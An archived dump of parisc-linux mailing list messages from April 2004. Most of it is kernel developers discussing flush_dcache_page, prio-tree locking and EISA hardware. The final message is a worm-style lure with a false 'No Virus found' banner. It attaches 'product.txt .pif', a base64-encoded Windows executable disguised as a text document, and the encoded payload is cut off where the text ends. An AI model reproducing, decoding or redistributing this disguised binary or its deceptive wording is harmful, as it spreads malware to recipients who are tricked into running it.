I'd be very surprised if flush_dcache_page executes more than a few
hundred instructions all told...that's certainly nowhere close to a
timeslice.

James




From - Thu Nov 08 21:31:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Arcangeli <andrea@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: Thu, 8 Apr 2004 20:42:45 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20040408184245.GO31667__31598.300956148$1416623350$gmane$org@dualathlon.random>
References: <20040408153412.GD31667@dualathlon.random>
	<1081439244.2165.236.camel@mulgrave>
	<20040408161610.GF31667@dualathlon.random>
	<1081441791.2105.295.camel@mulgrave>
	<20040408171017.GJ31667@dualathlon.random>
	<1081446226.2105.402.camel@mulgrave>
	<20040408175158.GK31667@dualathlon.random>
	<1081447654.1885.430.camel@mulgrave>
	<20040408181838.GN31667@dualathlon.random>
	<1081448897.2105.465.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623350 8069 80.91.229.3 (22 Nov 2014 02:29:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:10 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: andrea@suse.de  Thu Apr  8 12:42:47 2004
Return-Path: <andrea@suse.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it
	[217.133.42.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8EB3348AA
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 12:42:47 -0600 (MDT)
Original-Received: by dualathlon.random (Postfix, from userid 500)
	id 1B3764713; Thu,  8 Apr 2004 20:42:45 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1081448897.2105.465.camel@mulgrave>
User-Agent: Mutt/1.4.1i
X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49  C012 DFA1 686E 68B9 CB43
X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC  C0 4B 81 1D 8C 15 C8 E5
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 18:42:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21341

On Thu, Apr 08, 2004 at 01:28:17PM -0500, James Bottomley wrote:
> So you're worried about our code?  OK, if you look, you'll see we only
> have to flush one address in the mmap_shared list, (which is usually the
> long list).

if you need to flush just one address, the prio-tree may give you an
huge boost, overall flush_dcache_page should become pretty quick in most
situations.

> I'd be very surprised if flush_dcache_page executes more than a few
> hundred instructions all told...that's certainly nowhere close to a
> timeslice.

What you miss is that the problem is not in flush_dcache_page, the
problem is that the _other_ users of the prio-tree may take as long as a
timeslice. So it's the _other_ user that you've no control about (i.e.
truncate) that may take timeslices with irq disabled.

But I've an fairly optimal solution for you, you should make it a
read_write spinlock, with the readers not disabling interrupts, and the
writer disabling interrupts, the writer of the prio-tree will not take a
timeslice, the readers instead will take a timeslice, but since they're
readers and you've only to read in the flush_dcache_page irq context,
you don't need to disable irqs for the readers.  I don't have better
solutions than this one at the moment (yeah there's the rcu reading of
the prio-tree but I'd leave it for later...)


From - Thu Nov 08 21:31:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: 08 Apr 2004 13:49:55 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <1081450196.1885.492.camel__41646.5469323613$1416623350$gmane$org@mulgrave>
References: <20040408153412.GD31667@dualathlon.random>
	<1081439244.2165.236.camel@mulgrave>
	<20040408161610.GF31667@dualathlon.random>
	<1081441791.2105.295.camel@mulgrave>
	<20040408171017.GJ31667@dualathlon.random>
	<1081446226.2105.402.camel@mulgrave>
	<20040408175158.GK31667@dualathlon.random>
	<1081447654.1885.430.camel@mulgrave>
	<20040408181838.GN31667@dualathlon.random>
	<1081448897.2105.465.camel@mulgrave> 
	<20040408184245.GO31667@dualathlon.random>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623350 8071 80.91.229.3 (22 Nov 2014 02:29:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:10 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Andrea Arcangeli <andrea@suse.de>
Original-X-From: James.Bottomley@SteelEye.com  Thu Apr  8 12:50:09 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id A68924A7D
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 12:50:08 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i38Inua01422; Thu, 8 Apr 2004 14:49:56 -0400
In-Reply-To: <20040408184245.GO31667@dualathlon.random>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 18:50:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21342

On Thu, 2004-04-08 at 13:42, Andrea Arcangeli wrote:
> What you miss is that the problem is not in flush_dcache_page, the
> problem is that the _other_ users of the prio-tree may take as long as a
> timeslice. So it's the _other_ user that you've no control about (i.e.
> truncate) that may take timeslices with irq disabled.

So the problem isn't in the parisc code, it's in the generic vm code,
OK.

> But I've an fairly optimal solution for you, you should make it a
> read_write spinlock, with the readers not disabling interrupts, and the
> writer disabling interrupts, the writer of the prio-tree will not take a
> timeslice, the readers instead will take a timeslice, but since they're
> readers and you've only to read in the flush_dcache_page irq context,
> you don't need to disable irqs for the readers.  I don't have better
> solutions than this one at the moment (yeah there's the rcu reading of
> the prio-tree but I'd leave it for later...)

Yes, I'll go for that.  The write need only be done on vma insert, which
should be very fast.  So do we agree this is a generic solution, or were
you still thinking of trying to abstract it per-arch?

James




From - Thu Nov 08 21:31:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Arcangeli <andrea@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: Thu, 8 Apr 2004 21:02:35 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20040408190235.GR31667__12630.3940233358$1416623351$gmane$org@dualathlon.random>
References: <20040408161610.GF31667@dualathlon.random>
	<1081441791.2105.295.camel@mulgrave>
	<20040408171017.GJ31667@dualathlon.random>
	<1081446226.2105.402.camel@mulgrave>
	<20040408175158.GK31667@dualathlon.random>
	<1081447654.1885.430.camel@mulgrave>
	<20040408181838.GN31667@dualathlon.random>
	<1081448897.2105.465.camel@mulgrave>
	<20040408184245.GO31667@dualathlon.random>
	<1081450196.1885.492.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623351 8074 80.91.229.3 (22 Nov 2014 02:29:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:11 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: andrea@suse.de  Thu Apr  8 13:02:37 2004
Return-Path: <andrea@suse.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it
	[217.133.42.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0343484B
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 13:02:36 -0600 (MDT)
Original-Received: by dualathlon.random (Postfix, from userid 500)
	id D46EE4713; Thu,  8 Apr 2004 21:02:35 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1081450196.1885.492.camel@mulgrave>
User-Agent: Mutt/1.4.1i
X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49  C012 DFA1 686E 68B9 CB43
X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC  C0 4B 81 1D 8C 15 C8 E5
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 19:02:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21343

On Thu, Apr 08, 2004 at 01:49:55PM -0500, James Bottomley wrote:
> Yes, I'll go for that.  The write need only be done on vma insert, which
> should be very fast.  So do we agree this is a generic solution, or were
> you still thinking of trying to abstract it per-arch?

I'm unsure, the semaphore simplifies a lot the need_resched() in the
vmtruncate/zap_pte path, plus it avoids to waste time in the other cpus
while vmtruncate it working on it (potentially for more than a timeslice).

btw, I already considered making the semaphore a rw semaphore (note not
a rwspinlock) to boost scalability of the paging too, but OTOH the
paging has a so small critical section under the lock (objrmap) that I
wasn't sure if it would payoff, the biggest cost will still be the
bouncing of the cacheline, so I desisted from the idea of making it a
rwsem and I thought the semaphore was ideal as Andrew told me a few days
before I had the rwsem idea.  Plus concurrent truncate aren't worth
optimizing since they're serialized from the i_sem in the first place.

Ideally it should be a semaphore for all archs but the ones who needs
to walk it from irqs that wants a rw_spinlock.


From - Thu Nov 08 21:31:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA-Card in 715 /100
Date: Thu, 8 Apr 2004 21:20:45 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <200404082120.45305.deller@gmx.de>
References: <40739896.7010600@bluehash.de>
	<1152.192.168.1.54.1081318817.squirrel@www.puszczka.com>
	<20040408170817.GG18329@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623351 8078 80.91.229.3 (22 Nov 2014 02:29:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:11 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	=?iso-8859-1?q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>,
	Andy Walker <ajwalker@broadpark.no>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Thu Apr  8 13:20:52 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 5CC2B488E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 13:20:51 -0600 (MDT)
Original-Received: (qmail 11331 invoked by uid 65534); 8 Apr 2004 19:20:49 -0000
Original-Received: from pD90407ED.dip.t-dialin.net (EHLO p100) (217.4.7.237)
	by mail.gmx.net (mp023) with SMTP; 08 Apr 2004 21:20:49 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <20040408170817.GG18329@parcelfarce.linux.theplanet.co.uk>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 19:20:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21344

On Thursday 08 April 2004 19:08, Matthew Wilcox wrote:
> There are two families of 715; 715/33, /50 and /75 (Scorpio) and 715/64,
> /80, /100 and /100XC (Mirage or Turnip).
> .....
> There is an EISA adapter as a component of Wax, but I believe it's 
> disabled in Mirage boxes.  It's used in GSC-based C and J class boxes
> though.

Just for the record:
My 715/64 is called "Mirage 64" and has a EISA slot.
Until now I only tested successfully an ISA NE2xxx compatible network card 
in it though...

Helge


From - Thu Nov 08 21:31:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kewlitis@hotmail.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: product
Date: Thu, 8 Apr 2004 16:35:06 -0400
Lines: 571
Approved: news@gmane.org
Message-ID: <20040408202809.9D7671D49@cuprel1.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Trace: ger.gmane.org 1416623351 8083 80.91.229.3 (22 Nov 2014 02:29:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:11 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: kewlitis@hotmail.com  Thu Apr  8 14:28:21 2004
Return-Path: <kewlitis@hotmail.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06A5B484B
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 14:28:21 -0600 (MDT)
Original-Received: from parisc-linux.org (pcp09118634pcs.union01.nj.comcast.net
	[69.142.236.70]) by cuprel1.hp.com (Postfix) with ESMTP id 9D7671D49
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 13:28:09 -0700 (PDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 20:28:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21345

This is a multi-part message in MIME format.

------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Your document is attached.

+++ Attachment: No Virus found
+++ MessageLabs AntiVirus - www.messagelabs.com


------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: application/octet-stream; name="product.txt .pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="product.txt .pif"

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
